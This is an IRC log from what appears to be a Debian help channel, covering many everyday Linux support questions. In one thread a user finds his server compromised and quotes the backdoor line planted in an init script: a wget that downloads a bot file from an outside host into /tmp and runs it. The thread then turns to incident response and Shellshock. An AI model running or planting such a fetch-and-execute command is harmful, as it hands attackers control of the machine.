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| 14:47.27 | bradland | ChrisH: i see this from tcpdump "dst port 22" or "dst host 66.177.223.195": http://paste.debian.net/160747/ |
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| 14:48.10 | ChrisH | bradland: line 2 is the RESET not a SYN-ACK... was that captured on the server? |
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| 14:48.55 | bradland | yes, on the server |
| 14:49.06 | bradland | this is the output of iptables-save |
| 14:49.08 | bradland | http://paste.debian.net/160748/ |
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| 14:49.42 | bradland | I see the flag now [R.] |
| 14:49.51 | bradland | i need to slow down and pay attention, sorry |
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| 14:53.23 | bradland | oh snap |
| 14:53.30 | bradland | this box is pwnd |
| 14:53.46 | petn-randall | D: |
| 14:53.51 | petn-randall | bradland: How so? |
| 14:53.54 | bradland | at the bottom of /etc/init.d/ssh wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh |
| 14:54.43 | petn-randall | bradland: Ouch. Take the machine offline (hard shutdown), boot from trusted media, recover onto a new VM from backups. |
| 14:55.03 | bradland | nuking from orbit now |
| 14:55.21 | petn-randall | bradland: You might want to check /how/ they got in, so you can avoid it next time. |
| 14:55.32 | jelly | silly script kiddies, should have done that in background & |
| 14:55.38 | bradland | yeah, going to have to do some digging |
| 14:55.50 | bradland | this box auto-updates. i'm really kind of surprised. |
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| 14:57.56 | jhutchins | I've known datacenter admins who would physically cut the network cable of an infected machine so nobody would mistakenly plug it back in. |
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| 15:02.18 | bradland | damn |
| 15:02.24 | bradland | shelshock on oct 5th |
| 15:02.36 | bradland | *shellshock |
| 15:03.01 | jelly | which remotely-shockable service did you have |
| 15:03.41 | bradland | not sure yet. this is a web/app server, and it had default deny fw rules in place |
| 15:03.52 | bradland | attack matches this profile: http://wearetheartillery.blogspot.com/ |
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| 15:12.28 | jhutchins | bradland: Sounds like you should be considering some sort of IDS. |
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| 15:14.47 | Ultima | hello, I am trying to manually spawn a tty in the command prompt but it shows up blank. can someone give me an example of spawning a tty from the command line? |
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| 15:21.19 | nextbox | is there any good cloning tool, if one needs to clone a server or a database for example? |
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| 15:24.03 | darxmurf | free tool ? linux ? windows ? |
| 15:24.59 | fraff | nextbox: I'd say rsync or rsync based product (clonezilla for exemple) |
| 15:25.22 | nextbox | fraff: thanks, cool man |
| 15:25.29 | NoImNotNineVolt | dd works well under linux. |
| 15:25.39 | nextbox | just dd ? |
| 15:25.46 | NoImNotNineVolt | i'm not sure what you're asking, though. |
| 15:26.06 | NoImNotNineVolt | dd will clone anything, at a very low level. |
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| 15:26.47 | NoImNotNineVolt | but it probably isn't going to be much use if you're trying to clone things that are smaller than "the whole filesystem" or "the whole block device |
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| 15:33.02 | nextbox | is there any similar programs to weathermap ? |
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| 15:33.39 | nextbox | opensource software where I can make a map over the network in an office for example, and have a live status? |
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| 15:34.20 | Ultima | I am currently trying to spawn a new tty in debian/wheezy but it always shows up blank, no login window. Is anyone able to show me an example using getty to spawn a new tty using the commandline? |
| 15:35.49 | fraff | Ultima: I don't understand, you try to use console mode (no X window) and get one more tty to login ? that's can be configured in /etc/inittab |
| 15:36.44 | Ultima | I need to do it after the login |
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| 15:37.38 | Ultima | I im trying to spawn a tty for a jail on freebsd, but I need to figure out how to spawn a tty in the first place in debian to I created a vm on my esxi to figure out how |
| 15:38.20 | Ultima | ttys wont start in jail thats why I need to do it in commandline |
| 15:39.14 | ChrisH | Ultima: normally thats done in /etc/inittab with such a line: 3:23:respawn:/sbin/getty 38400 tty3 |
| 15:40.23 | Ultima | yeah I tried to do /sbin/getty 38400 tty64 but it just comes up with a blinking line no login prompt on the vm |
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| 15:43.50 | fraff | wow, how do you reach tty64 ? |
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| 15:45.21 | Brigo | fraff, good question :D I know how to reach 24 with control+alt, but not how to reach 25 or more. |
| 15:46.22 | Ultima | lol im not using that many ttys but I need to make one from the commandline for the jail, when I login via ssh I get stdin: is not a tty because there are no aval ttys |
| 15:46.29 | fraff | Brigo: I've just tested, alt+left-arrow goes to ttyX |
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| 15:46.49 | fraff | Brigo: left or right |
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| 15:47.24 | Brigo | fraff, amanzing! new for me :D |
| 15:47.49 | fraff | Brigo: just press right arrow 64 times now :) |
| 15:47.59 | Brigo | XD |
| 15:48.01 | fraff | and avoid tty7 |
| 15:48.19 | Brigo | yeah, beeter use the left one :) |
| 15:48.28 | Brigo | better* |
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| 15:51.34 | shay_shay | why avoid tty7? |
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| 15:52.03 | fraff | shay_shay: X runs on it |
| 15:52.14 | shay_shay | if you have 6 ttys then x runs on 7 |
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| 15:52.21 | hamn | hey guys |
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| 15:52.33 | shay_shay | if you have 8 ttys then x will run on 9 |
| 15:53.13 | fraff | shay_shay: I must admit I don't know why nor how, but X runs on tty7 on my system, And I have 4 ttys |
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| 15:53.56 | shay_shay | fraff: i guess I dont know why either ... i will test this later |
| 15:54.24 | shay_shay | thats not the behavior I expected based on what ive read on this in the past |
| 15:54.30 | Brigo | you can tell X in what tty you want it to run. |
| 15:54.40 | shay_shay | in inittab? |
| 15:54.52 | Brigo | no, it is an option |
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| 15:55.00 | shay_shay | in xorg.conf |
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| 15:55.18 | Brigo | you can change it with dpkg-reconfigure <package>, but i don't remember what package in particular. |
| 15:55.38 | fraff | Brigo: the login manager maybe ? |
| 15:55.44 | shay_shay | but its supposed to automatically pick the first open tty if no related options are set otherwise |
| 15:55.49 | Brigo | from man xorg "vtXX XX specifies the Virtual Terminal device number which Xorg will use" |
| 15:55.59 | shay_shay | maybe its a compile option and slackwares xorg has it enabled |
| 15:56.24 | shay_shay | reads the man page again |
| 15:56.24 | Brigo | shay_shay, i think you are right but debian set it allways |
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| 16:00.05 | shay_shay | i got bored reading |
| 16:00.11 | teraflop | xD |
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| 16:01.53 | shay_shay | conclusion: xorg man page is boring |
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| 16:04.23 | fraff | shay_shay: haha |
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| 16:06.10 | darxmurf | without searching for a specific user in the directory... |
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| 16:13.13 | brokencycle | Hi! I have videos which have no sound after moving from Wheezy to Jessie, and from i386 to amd64. |
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| 16:13.52 | brokencycle | So far, it seems to affect only videos in "mkv" (?) format. |
| 16:13.55 | brokencycle | any ideas? |
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| 16:18.13 | teraflop | hid3: how are you playing the stream? |
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| 16:18.25 | darxmurf | hid3: yep I'm running MPD |
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| 16:18.43 | hamn | if i dont specify -std to gcc, what C standard does it use? |
| 16:18.53 | darxmurf | for my internet radio streams, I just add a "playlist" file with the radio stream |
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| 16:19.30 | darxmurf | brokencycle: do you have sound with other app ? |
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| 16:19.55 | teraflop | darxmurf: what mpd client are you using? |
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| 16:20.16 | darxmurf | I had an issue because of my graphic card and it's HDMI port. It was considered as the primary sound output and messed up the system |
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| 16:21.41 | darxmurf | teraflop: I have one on my Android tablet, I think it's MPDroid, I have Chimney on windows 8.1 |
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| 16:22.14 | darxmurf | And Auremo on windows 7 |
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| 16:23.21 | teraflop | darxmurf: mind pasting the .m3u/.pls file with the stream? if the issue is that it is not being played |
| 16:24.34 | darxmurf | http://stream-uk1.radioparadise.com:80/mp3-192 |
| 16:24.37 | darxmurf | http://stream-eu1.radioparadise.com:80/mp3-192 |
| 16:24.41 | darxmurf | that's it :) |
| 16:24.49 | darxmurf | in a .m3u file |
| 16:24.49 | teraflop | darxmurf: also for the ldap stuff just make a couple of custom ldap searchs to the ldap tree from cli |
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| 16:25.28 | darxmurf | yep but that's the problem :-) to run a simple query which return only few lines |
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| 16:25.44 | teraflop | darxmurf: i do not se an m3file ^ |
| 16:25.49 | teraflop | a* |
| 16:25.56 | Ooze | Does the debian cd have a Live deal? |
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| 16:26.01 | Ooze | The CD, the smaller image |
| 16:26.45 | darxmurf | teraflop: in my radio.m3u file I have only those 2 lines and it works |
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| 16:27.44 | darxmurf | then in my client I browse by "files" and play it |
| 16:27.56 | teraflop | darxmurf: it works for me too so whats the issue? |
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| 16:28.11 | darxmurf | which stream is not working for you ? |
| 16:28.33 | teraflop | darxmurf: i asked you for the m3u file itself, i just made one |
| 16:28.47 | teraflop | darxmurf: yep it works |
| 16:29.08 | darxmurf | well, I can send you the file if you want but as it's just 2 lines... :) |
| 16:29.28 | teraflop | darxmurf: it works for me but: ... I need help to test an internet radio stream which I have problems with.. |
| 16:29.38 | darxmurf | give me the stream |
| 16:29.52 | teraflop | ^ |
| 16:29.59 | brokencycle | darxmurf: actually, yes. I installed mpv, and it gives me sound. |
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| 16:30.52 | teraflop | darxmurf: wait. your issue is that you open the m3u file directly on your clients and it does not work? |
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| 16:31.33 | teraflop | darxmurf: just drop yhe m3u file on the MPD server press the u key and play from your clients as a track |
| 16:31.34 | darxmurf | I think we are in an infinite loop :D |
| 16:31.40 | teraflop | darxmurf: xD |
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| 16:31.54 | darxmurf | I don't have any problem ... it's hid3 who is fighting with mpd |
| 16:31.54 | darxmurf | :D |
| 16:32.05 | teraflop | oh my |
| 16:32.10 | darxmurf | <PROTECTED> |
| 16:32.10 | teraflop | my bad |
| 16:32.12 | teraflop | xD |
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| 16:32.15 | darxmurf | no worries :D |
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| 16:32.58 | teraflop | hides |
| 16:33.45 | darxmurf | brokencycle: what do you have with aplay -l ? |
| 16:33.52 | darxmurf | and cat /proc/asound/modules |
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| 16:34.17 | darxmurf | teraflop: well... I was answering too... :D |
| 16:34.21 | teraflop | hah |
| 16:35.15 | darxmurf | in french we say "it's a dialog between 2 deaf" |
| 16:35.16 | darxmurf | :D |
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| 16:35.58 | darxmurf | brokencycle: check this default soundcard stuff, I killed few hours with this joke few months ago... |
| 16:36.12 | Ooze | Is there a live image that will fit on a CD? |
| 16:36.20 | Ooze | Everything I'm finding is 1.2GB+ |
| 16:36.24 | darxmurf | it was crashing flash videos (I know... flash but...) |
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| 16:36.48 | teraflop | ... erm hid3 so you can you paste the playlist file |
| 16:37.14 | darxmurf | Ooze: http://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-7.8.0-amd64-rescue.iso |
| 16:37.25 | darxmurf | I think there is no graphical interface |
| 16:37.32 | Ooze | mmmmmmmmmmmmmm |
| 16:37.33 | brokencycle | darxmurf: I have http://pastie.org/10018856 , and on my system, sound is usually handled by pulseaudio |
| 16:37.34 | Ooze | I need to use gparted |
| 16:37.36 | darxmurf | well http://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/ |
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| 16:37.48 | darxmurf | well, download gparted live |
| 16:38.03 | darxmurf | http://gparted.org/livecd.php |
| 16:38.04 | Ooze | I didn't know that was a thing |
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| 16:38.37 | darxmurf | brokencycle: it looks okay :-/ |
| 16:38.53 | darxmurf | on my side it was crashing youtube for example |
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| 16:40.02 | brokencycle | darxmurf: before the upgrade, I could play all videos with vlc, but now I can't. |
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| 16:43.09 | hid3 | How do I install a single package from wheezy-backports? |
| 16:43.34 | brokencycle | hid3: apt-get -t wheezy-backports install packagename |
| 16:43.41 | brokencycle | provided you have your apt configured correctly |
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| 16:44.11 | mtn | hid3: or you can use synaptic, if you like a gui |
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| 16:44.40 | darxmurf | brokencycle: sorry for your sound problem, I don't know right now :-/ check the VLC parameters and test some other tools but it's weird |
| 16:44.54 | skaag | on my system I have to set power_save off on my wifi adapter like this: iw wlan0 set power_save off |
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| 16:45.04 | skaag | how do I get this to happen on startup in a Network Manager environment? |
| 16:45.10 | brokencycle | I tried several other output modules, but then got some error ms |
| 16:45.13 | skaag | (there's no wlan0 config in /etc/network/interfaces) |
| 16:45.18 | brokencycle | messages that these were unavailable |
| 16:45.18 | darxmurf | oh and run "alsamixer" from console, check if everything is unmuted |
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| 16:45.43 | darxmurf | I had this one or twice too... but it was muting the sound for all my stuff, mp3, video and all |
| 16:45.57 | darxmurf | do you have an error when you play a song with audacious for example ? |
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| 16:46.02 | darxmurf | or do you have sound ? |
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| 16:46.27 | hid3 | great, thanks |
| 16:47.42 | brokencycle | I have no audacious. vlc routinely plays me music and also videos, just not these ones that mpv plays. |
| 16:47.55 | darxmurf | huh |
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| 16:47.58 | darxmurf | so, I don't know |
| 16:48.07 | darxmurf | broken codec (??) |
| 16:48.16 | darxmurf | but usually it plays everything without problem |
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| 16:48.47 | darxmurf | sorry but I have to go :-/ |
| 16:48.50 | darxmurf | see you tomorrow ! |
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| 16:49.15 | brokencycle | maybe, but how do discover? I stumbled across the likes of #631555 and http://forums.debian.net/viewtopic.php?f=6&t=116074 |
| 16:49.25 | brokencycle | but in the bts it says the error is benign |
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| 16:57.12 | teraflop | brokencycle: as far as I can tell is not the first time I see or suffer vlc not performing well after an update |
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| 16:57.36 | teraflop | i do not see nothing special jsu file a bug if you think it is |
| 16:57.43 | teraflop | just* |
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| 17:02.11 | DarsVaeda | hi, just installed jessie but the installed choose a much too small partition size for /tmp |
| 17:02.19 | DarsVaeda | now I can install nothing -.- |
| 17:02.27 | DarsVaeda | how can I move that folder somewhere else? |
| 17:02.59 | jelly | DarsVaeda: the installer is dumb that way. Pastebin the output of "df" and contents of /etc/fstab? |
| 17:03.02 | jelly | !paste |
| 17:03.02 | dpkg | Do not paste more than 2 lines to this channel. Instead, use: http://paste.debian.net/ http://pastie.org/ or http://picpaste.com/ for pics. Use wikisend.com for large files (think tar.gz) up to 100MB. Remember to tell us the URL of your paste! Cannot cut and paste? Ask me about <pastebinit>, <nopaste>, <wgetpaste>. |
| 17:03.22 | teraflop | DarsVaeda: how much ram do you have? |
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| 17:03.43 | DarsVaeda | currently 8GB but will change to 16GB, want to use vm |
| 17:03.49 | teraflop | uhm |
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| 17:04.41 | DarsVaeda | but I need to change the layout anyway as I'm still fully on my ssd and I will also have a second conventional hard disk for all the /home stuff and so on... |
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| 17:05.07 | Ooze | that gparted live disc is great, thanks |
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| 17:07.35 | teraflop | DarsVaeda: jellys pastebin suggestion is a good idea |
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| 17:07.53 | DarsVaeda | can't pastebin, other device |
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| 17:08.04 | DarsVaeda | I think I'll just use the ram for now |
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| 17:24.35 | ntz | hmm |
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| 17:29.10 | marioxcc | Does iceweasel private browsing mode keeps cached files and then deletes them or does it disables caching completely? |
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| 17:35.17 | petn-randall | marioxcc: I don't know, but you can check it by pressing F12 and looking at the network console. |
| 17:35.44 | petn-randall | marioxcc: My guess is that it caches it as long as the window is open. |
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| 17:36.37 | marioxcc | petn-randall: I don't know how to use the network console. |
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| 17:57.17 | bradland | i've got this pwnd VPS torn down and the filesystem archived |
| 17:57.37 | bradland | it looks i got pwnd by shellshock, but my systems were patched on 9/25 |
| 17:57.44 | bradland | less than 24-hours after the vuln was disclosed |
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| 17:58.37 | bradland | the system was firewalled, with open ports for apache (80,443) and ssh with rate limiting |
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| 17:59.16 | digital0ak | ##apple |
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| 17:59.24 | digital0ak | ignore that |
| 17:59.37 | bradland | would an IDS have helped me out in that circumstance? |
| 17:59.53 | bradland | we're a tiny shop, so i've got limited resources |
| 18:00.16 | bradland | our systems are web/app servers that talk to a single DB server on the back end |
| 18:00.19 | Oscilax | its not like you make *snap* and you have a working IDS |
| 18:00.25 | bradland | i configure the systems to apply auto updates |
| 18:00.32 | bradland | yeah, that's kind of where i'm headed |
| 18:00.33 | Oscilax | such systems grow over a long time |
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| 18:00.45 | bradland | understanding whether a viable IDS is even within my reach |
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| 18:00.55 | bradland | trying to understand what i could have done better |
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| 18:03.09 | Oscilax | how i understand it you run a shop. so i would not give shell access to anybody and one problem is solved |
| 18:03.50 | greycat | Oscilax: the vulnerability in question affected servers that did not have any command-line users. |
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| 18:04.14 | bradland | part of me feels like i got caught by a lightning strike |
| 18:04.25 | bradland | zero-day, and i patched as quickly as i could |
| 18:04.40 | bradland | but, i still wonder what i could do better |
| 18:04.41 | greycat | I'm sorry this happened to you. |
| 18:05.00 | bradland | for example, default deny firewalls help because your services simply aren't available to exploit |
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| 18:05.20 | bradland | is it possible to configure an IDS in the same way? |
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| 18:05.57 | greycat | This particular vulnerability could be exploited just by making web requests with an unusual (malicious) User-Agent string. |
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| 18:06.08 | greycat | I don't know if IDSs look at that kind of detail. |
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| 18:06.53 | bradland | i see |
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| 18:07.47 | Oscilax | bradland: do you know what an IDS does? |
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| 18:08.09 | bradland | i have a very general understanding |
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| 18:08.26 | bradland | it looks for activity profiles matching that of an intrusion |
| 18:08.37 | bradland | network traffic, file system activity, process monitoring, etc |
| 18:08.50 | bradland | i've never worked with one though |
| 18:08.50 | Oscilax | it sounds good. "intrusion detection". but if you have not defined a ruleset for a certain attack its not going to be detected either way |
| 18:09.04 | bradland | i see |
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| 18:09.14 | bradland | are there any strategies similar to default deny? |
| 18:09.20 | bradland | i may tighten up my FW rules as well |
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| 18:09.42 | bradland | i'm pretty open on the outbound side, but i don't think this box was completely pwned, because it wasn't able to fetch payloads |
| 18:09.54 | bradland | don't get me wrong, i'm not taking any risks |
| 18:09.59 | bradland | this box is done for |
| 18:10.34 | bradland | looks like Snort is the go-to for IDS |
| 18:10.42 | jelly | bradland: the fact they got to write into a root-owned init script says "completely pwned" |
| 18:10.56 | bradland | yeah, i guess i shouldn't put it that way |
| 18:11.03 | bradland | they definitely had root, so the box is done for |
| 18:11.18 | bradland | just that the particular exploit package that i've identified appears to have failed to execute properly |
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| 18:12.04 | Oscilax | problem is you have customer data on there, right? |
| 18:12.07 | bradland | our practices are, generally, not horrible, so damage control has been pretty straight forward |
| 18:12.39 | bradland | i got very lucky there Oscilax. this box was turned up for a customer who has not yet executed their contract. |
| 18:12.43 | bradland | so there's no customer data on here |
| 18:12.46 | bradland | just an app shell |
| 18:12.57 | bradland | err, app skeleton, with no data |
| 18:13.15 | bradland | we use all single-use passwords and instance specific credentials for services |
| 18:13.20 | bradland | so i've burned all the connected accounts |
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| 18:19.03 | Oscilax | lets say you need certain CGI related stuff for a shop when i would invest my time in a system that runs a role based access control |
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| 18:21.15 | Oscilax | with PaX or hmmm |
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| 18:40.48 | smemsh | hello, is there some standard way on debian to save iptables rules? "grep -sr iptables /etc" is empty, which is puzzling, am i missing some package? i have iptables package itself installed |
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| 18:41.00 | krasimir | hi all , a trivial question. I have followed the advice to login with a non root user , but these days I find myself typing every command with sudo with every script and command I run to avoid the file permissions |
| 18:41.28 | krasimir | so the question is what is the point to login with non root user if I have ot use root with almost any command ? |
| 18:41.51 | smemsh | krasimir: the point is to only explicitly escalate privileges |
| 18:41.54 | ProtonNeutronEle | krasimir: because you do it by knowing what you do |
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| 18:42.09 | SynrG | Elevating privileges when you don't need to opens you to unnecessary risk |
| 18:42.33 | krasimir | that is correct , but I find myself doing it with every command automatically to avoid any permissions issues. |
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| 18:42.42 | Vroomfon1el | krasimir: because it means that scripts you didn't know you'd accidentally installed / someone who stole you credentials has installed, cannot do much damage |
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| 18:42.50 | krasimir | so if I run a bad script I would do it with sudo anyway |
| 18:43.16 | Vroomfon1el | if permissions issues are that common, your filesystem permissions are badly broken |
| 18:43.16 | smemsh | krasimir: only administrative procedures actually need root privileges, ordinarily they are not required |
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| 18:44.15 | krasimir | Vroomfon1el : I tried really hard to design the permissions properly , but seems impossible, especially with git , a normal user always fails to pull , push etc. |
| 18:44.38 | smemsh | krasimir: you are using git to store what? |
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| 18:44.56 | Vroomfon1el | and where are you putting your local git repository? |
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| 18:45.20 | krasimir | I run a web server with www-data user |
| 18:45.34 | krasimir | then I use git for each vhosts |
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| 18:46.00 | Vroomfon1el | you should put your own username in a group which can write to your vhost directory |
| 18:46.13 | Vroomfon1el | and then do the git pulls etc. as your normal user |
| 18:46.42 | smemsh | krasimir: or use sudo -u www-data, certainly not root |
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| 18:46.53 | krasimir | aaah , that is good idea |
| 18:46.54 | Vroomfon1el | (even better, create a new user account to use purely for deploys, and put that in the group, then switch to that user when pulling) |
| 18:46.57 | smemsh | krasimir: usermod -aG www-data mylogin |
| 18:47.03 | Bremsstrahlung | So, I was reading this http://linux.slashdot.org/comments.pl?sid=7069219&cid=49210217 |
| 18:47.11 | SynrG | chmod g+s may also help |
| 18:47.13 | Bremsstrahlung | Let me get this straight. |
| 18:47.20 | SynrG | On the dir |
| 18:47.25 | Bremsstrahlung | Chrome and Chromium's future versions won't work on Debian because Debian devs have some issues with Google? |
| 18:47.27 | krasimir | I tried the usermod , but didn't work because some files have owner permissions only |
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| 18:47.54 | Vroomfon1el | krasimir: you've been creating files as root so you'll probably have to do a one-off fix for their permissions once you've sorted out your groups |
| 18:47.54 | SynrG | Make new files automatically inherit group |
| 18:48.13 | krasimir | ok , thanks I will work on it. |
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| 18:48.29 | smemsh | krasimir: some automated deploy script would be better, you develop as user, checkin, then www-data (or a different account as vroomfon1el said) does the pull |
| 18:49.17 | SynrG | Yep. I agree |
| 18:49.49 | SynrG | Gives you a chance to test locally before deploy |
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| 18:50.38 | smemsh | krasimir: if you want to use the group, you can add the setgid bit on dirs, this way new files will be owned by the group of the parent directory. but pull as deploy user is better |
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| 18:51.24 | krasimir | yes I think I will go this road sudo -u www-data git push/pull |
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| 18:51.55 | smemsh | krasimir: this can cause issues with your $HOME etc being set with the invoking user |
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| 18:53.28 | daveq111 | I'm using the visudo command |
| 18:53.32 | smemsh | krasimir: a wrapper script is still better which you can then call with sudo and it will get the env right, maybe use su -lc within the script, or runuser |
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| 18:53.51 | smemsh | krasimir: but sudo can be configured to work right with the env, just takes fiddling |
| 18:53.54 | daveq111 | i've added my new user in the correct place, but when i press ctrl+o to save the session, nothing happens? |
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| 18:54.04 | krasimir | ok thanks for all info |
| 18:54.08 | ch077179 | Hi, I plugged an extra screen on my laptop. I'm on gnome 2 (I think?) and the settings gui doesn't show this extra display. How can I configure it? |
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| 18:54.53 | smemsh | is there some standard way on debian to save iptables rules? "grep -sr iptables /etc" is empty, which is puzzling, am i missing some package? i have iptables package itself installed |
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| 18:57.24 | smemsh | it looks like from debian wiki advice is to make your own script, i find it surprising that there is no e.g. /etc/init.d/iptables and every user must create their own script |
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| 18:57.53 | smemsh | ch077179: try xrandr --auto |
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| 18:59.01 | smemsh | ch077179: maybe xrandr --output --crtc 1 --primary --auto or something like that |
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| 18:59.04 | Bremsstrahlung | So, I was reading this http://linux.slashdot.org/comments.pl?sid=7069219&cid=49210217 |
| 18:59.07 | Bremsstrahlung | Let me get this straight. |
| 18:59.09 | Bremsstrahlung | So, I was reading this http://linux.slashdot.org/comments.pl?sid=7069219&cid=49210217 |
| 18:59.11 | Bremsstrahlung | Oops. |
| 18:59.15 | Bremsstrahlung | Chrome and Chromium's future versions won't work on Debian because Debian devs have some issues with Google? |
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| 19:00.47 | NoImNotNineVolt | ugh. |
| 19:01.08 | Bremsstrahlung | Someone just pasted that to me in another channel. |
| 19:01.13 | Bremsstrahlung | And I was wondering if it's true. |
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| 19:01.30 | NoImNotNineVolt | keep reading the comments. |
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| 19:03.06 | polyphagia | 3no Bremsstrahlung |
| 19:03.09 | NoImNotNineVolt | http://tech.slashdot.org/story/15/03/10/1430239/tsync-not-a-hard-requirement-for-google-chrome-after-all |
| 19:03.12 | polyphagia | chromium dropped support |
| 19:03.14 | ProtonNeutronEle | if we can be free from Google a little more why not |
| 19:03.25 | polyphagia | and the debian maintainer made a tongue in cheek remark |
| 19:03.26 | Bremsstrahlung | I see. |
| 19:03.49 | NoImNotNineVolt | ProtonNeutronEle: you mean "if we can force users to be free from Google a little more why not"? |
| 19:04.02 | smemsh | web browsers getting more and more kitchen-sink anyways, basically google just wants kernel to boot chrome and that's the whole computing experience |
| 19:04.28 | krasimir | ok a weird one , I am trying the group permissions approach . My user is in the group and the file has group read permissions , but still give access denied error |
| 19:04.29 | krasimir | http://screencast.com/t/WPJ9nESZR |
| 19:04.43 | ProtonNeutronEle | NoImNotNineVolt: definitly. because who is conscious that such deep implementation of google exist? |
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| 19:04.51 | ch077179 | smemsh: thanks, it's a vga port |
| 19:04.55 | smemsh | originally this browser bloat is what drove me to chrome, now it has come full circle |
| 19:04.56 | NoImNotNineVolt | i can't parse that sentence. |
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| 19:05.19 | NoImNotNineVolt | anyway, nobody is forcing anyone to install chrome. users are already free from google by default. |
| 19:05.25 | greycat | smemsh: It's not just you. I keep struggling to find a browser that I can just keep running all the time without having to restart when it sucks up every last bit of RAM. |
| 19:05.35 | ch077179 | the first command returned Failed to get size of gamma for output default |
| 19:05.38 | smemsh | ch077179: --output VGA1 --primary --auto or some such |
| 19:06.05 | NoImNotNineVolt | this tsync issue would limit user choice and prevent users from being able to install chrome. thankfully enough it's just BS. |
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| 19:06.26 | smemsh | greycat: and CPU not to mention. even idle the damned thing uses tons of processor on these ad loops and monitoring stuff in js |
| 19:06.28 | ch077179 | and it says VGA1 not found, ignoring |
| 19:06.30 | polyphagia | don't think anything is wrong with chromium, i just don't use it because it's slower here and i don't want to support a monopoly |
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| 19:06.43 | smemsh | ch077179: the man page will show how to describe the available outputs |
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| 19:06.52 | greycat | Well, I use AdBlock on Chrome, and NoScript on Firefox. |
| 19:06.52 | polyphagia | o just ralized this isn't offtopic |
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| 19:07.05 | polyphagia | greycat: consider ublock instead |
| 19:07.17 | smemsh | ch077179: xpyinfo maybe help too |
| 19:07.24 | smemsh | ch077179: xdpyinfo rather |
| 19:07.33 | krasimir | aah execute permissios were missing |
| 19:07.57 | acz32 | polyphagia: is there an element hiding helper type capability in ublock? i like being able to select an element to hide with the mouse cursor |
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| 19:08.04 | polyphagia | yes acz32 |
| 19:08.09 | Bremsstrahlung | Let me say this, I don't really want to use Chrome myself on Debian, but I was curious if this was some bizarre political situation. |
| 19:08.35 | polyphagia | acz32: it's right click > block element and it's got a little ublock icon |
| 19:08.49 | smemsh | greycat: adblock doesn't stop it from constantly scanning the js and doing all these busy loops in the pages, in fact adblock eats lots of memory especially with a lot of tabs. i got a lot of memory back by setting up a 1px transparent gif server on 127.0.0.1 and using a local dns server with adblock hosts lists |
| 19:08.50 | FreezingCold | How does Debian's apt-get handle multiple architectures of the same package? |
| 19:08.52 | FreezingCold | https://wiki.debian.org/Multiarch/HOWTO |
| 19:08.53 | acz32 | polyphagia: nice |
| 19:08.57 | FreezingCold | This doesn't quite make sense to me |
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| 19:09.04 | FreezingCold | won't there be file conflicts? |
| 19:09.23 | jelly | FreezingCold: many (not all) packages were fixed to avoid conflicts. |
| 19:09.34 | FreezingCold | jelly: Er, how? |
| 19:09.49 | acz32 | what would be nice is an extension that fixes how some pages look broken without javascript even though all the text is there. you just have to do a lot of scrolling to find the text in the article you are reading |
| 19:09.51 | FreezingCold | is there just a different naming structure? |
| 19:10.13 | smemsh | greycat: it's still bloated, how single web page can be using 250MB or more is crazy. tons of pages leak and end up using 1GB just for some web forum page, 10% CPU when idle. it is insanity |
| 19:10.14 | jelly | FreezingCold: the major feature is separate directories for compiled libraries |
| 19:10.33 | FreezingCold | jelly: Interesting. So qemu's user mode is probably pretty nice then. |
| 19:10.49 | NoImNotNineVolt | smemsh: i've had FF using >2GB with only a single tab open to about:blank |
| 19:10.53 | smemsh | greycat: restart chrome with restore tabs, have to go eat a sandwhich before computer is usable again |
| 19:11.06 | ch077179 | smemsh: xdpyinfo only sees one screen, the main laptop display. Also the display is telling me vga: no signal |
| 19:11.18 | ch077179 | so I believe the vga port isn't 'active' |
| 19:11.22 | acz32 | looks like ublock has a firefox version too |
| 19:11.39 | Amun_Ra | NoImNotNineVolt: I started win8.1 (8GB) without swap file and after 5 minutes of doing nothing I saw message "Not enough memory." ;> |
| 19:11.47 | FreezingCold | jelly: I'm considering buying a Samsung Chromebook 2, looks like Debian is a pretty good option |
| 19:11.57 | NoImNotNineVolt | heh |
| 19:12.09 | jelly | FreezingCold: oh. I do not have an opinion on that hw. |
| 19:12.16 | FreezingCold | jelly: It's ARM. |
| 19:12.18 | smemsh | ch077179: sounds like it isn't recognized by the kernel, try dmesg | grep ACPI | grep VID |
| 19:12.33 | NoImNotNineVolt | did you have FF installed? it might've started as a system service and started crawling the whole web just to pre-cache it for you. |
| 19:12.41 | FreezingCold | jelly: It seems really nice that apt-get could handle all my archs are once, instead of having a manual chroot for each arch |
| 19:12.42 | NoImNotNineVolt | jokes, but not by much |
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| 19:13.40 | ch077179 | smemsh: yup, that returns nothing at all |
| 19:13.56 | smemsh | ch077179: well what is the chipset |
| 19:14.04 | ch077179 | lspci? |
| 19:14.07 | jelly | ch077179: output "default" suggests your X is using fallback, vesa drivers instead of output-detection-capable drivers |
| 19:14.20 | jelly | ch077179: lspci -nn|grep VGA |
| 19:14.25 | smemsh | jelly: sure lspci | grep VGA |
| 19:14.34 | jelly | that -nn is important. |
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| 19:15.23 | ch077179 | 01:00.0 VGA compatible controller [0300]: Advanced Micro Devices [AMD] nee ATI Thames [Radeon 7500M/7600M Series] [1002:6841] |
| 19:15.59 | ch077179 | that would explain the slightly odd look of my video output |
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| 19:16.15 | smemsh | heh "nee" |
| 19:16.36 | jelly | ch077179: perhaps your hardware would be better supported using closed, fglrx drivers |
| 19:16.52 | jelly | judd: xorg 1002:6841 |
| 19:16.53 | judd | Device 1002:6841 is not matched by any xorg drivers in wheezy or sid. |
| 19:16.56 | jelly | hmm |
| 19:17.04 | jelly | judd: xorg 10de:1288 |
| 19:17.04 | judd | Device 10de:1288 is not matched by any xorg drivers in wheezy or sid. |
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| 19:17.19 | jelly | judd: you're broken, maybe |
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| 19:17.54 | jelly | is using a 10de:1288 with free drivers |
| 19:18.07 | ch077179 | so.. how would I install these fglrx drivers? |
| 19:18.09 | jelly | on jessie, so it bloody well has drivers in sid |
| 19:18.17 | ch077179 | hehe |
| 19:18.21 | jelly | ch077179: read /msg dpkg fglrx dkms |
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| 19:20.01 | Jonuz | Fml, I always thought 20 was "best" value in nice |
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| 19:26.58 | srg | Anyone else getting "hash sum mismatch" from http.debian.net? |
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| 19:27.05 | jelly | !which hdn |
| 19:27.06 | dpkg | To see which mirror you are being sent to by the <http.debian.net> redirector, substitute the appropriate release and architecture into the following: «wget -O/dev/null --max-redirect=0 http://http.debian.net/debian/dists/unstable/main/binary-amd64/Packages.bz2 2>&1 | grep Location». You can also look for the Release file or individual .debs if you want. |
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| 19:29.40 | srg | It's http://debian.cc.lehigh.edu |
